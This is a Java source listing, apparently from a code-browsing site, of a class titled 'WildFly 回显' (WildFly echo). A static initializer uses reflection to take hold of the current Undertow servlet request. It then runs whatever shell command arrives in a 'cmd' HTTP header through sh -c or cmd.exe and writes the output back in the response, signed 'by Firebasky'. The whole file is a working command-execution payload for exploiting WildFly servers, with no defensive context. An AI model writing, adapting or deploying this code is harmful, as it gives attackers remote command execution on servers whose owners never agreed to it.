WildFly 回显
| 14 | * WildFly 回显 |
| 15 | */ |
| 16 | public class Echo_ServletRequestContext { |
| 17 | static { |
| 18 | try { |
| 19 | getResponse(); |
| 20 | } catch (Exception e) { |
| 21 | e.printStackTrace(); |
| 22 | } |
| 23 | } |
| 24 | public static void getResponse() throws Exception { |
| 25 | Thread thread = Thread.currentThread(); |
| 26 | java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals"); |
| 27 | threadLocals.setAccessible(true); |
| 28 | Object threadLocalMap = threadLocals.get(thread); |
| 29 | |
| 30 | Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); |
| 31 | java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table"); |
| 32 | tableField.setAccessible(true); |
| 33 | Object[] objects = (Object[]) tableField.get(threadLocalMap); |
| 34 | |
| 35 | Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); |
| 36 | java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value"); |
| 37 | entryValueField.setAccessible(true); |
| 38 | |
| 39 | for (Object object : objects) { |
| 40 | if (object != null) { |
| 41 | Object valueObject = entryValueField.get(object); |
| 42 | if (valueObject != null) { |
| 43 | if (valueObject.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) { |
| 44 | //response |
| 45 | Method getServletResponse = valueObject.getClass().getDeclaredMethod("getServletResponse"); |
| 46 | getServletResponse.setAccessible(true); |
| 47 | Object response = getServletResponse.invoke(valueObject); |
| 48 | //request |
| 49 | Method getServletRequest = valueObject.getClass().getDeclaredMethod("getServletRequest"); |
| 50 | getServletRequest.setAccessible(true); |
| 51 | Object request = getServletRequest.invoke(valueObject); |
| 52 | //echo |
| 53 | java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response); |
| 54 | Method getHeader = request.getClass().getMethod("getHeader",String.class); |
| 55 | String cmd1 = (String) getHeader.invoke(request, "cmd"); |
| 56 | String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1}; |
| 57 | java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 58 | java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); |
| 59 | String output = s.hasNext() ? s.next() : ""; |
| 60 | writer.write("by Firebasky:"); |
| 61 | writer.write("\n"+output); |
| 62 | writer.close(); |
| 63 | } |
| 64 | } |
| 65 | } |
| 66 | } |
| 67 | } |
| 68 | } |
nothing calls this directly
no test coverage detected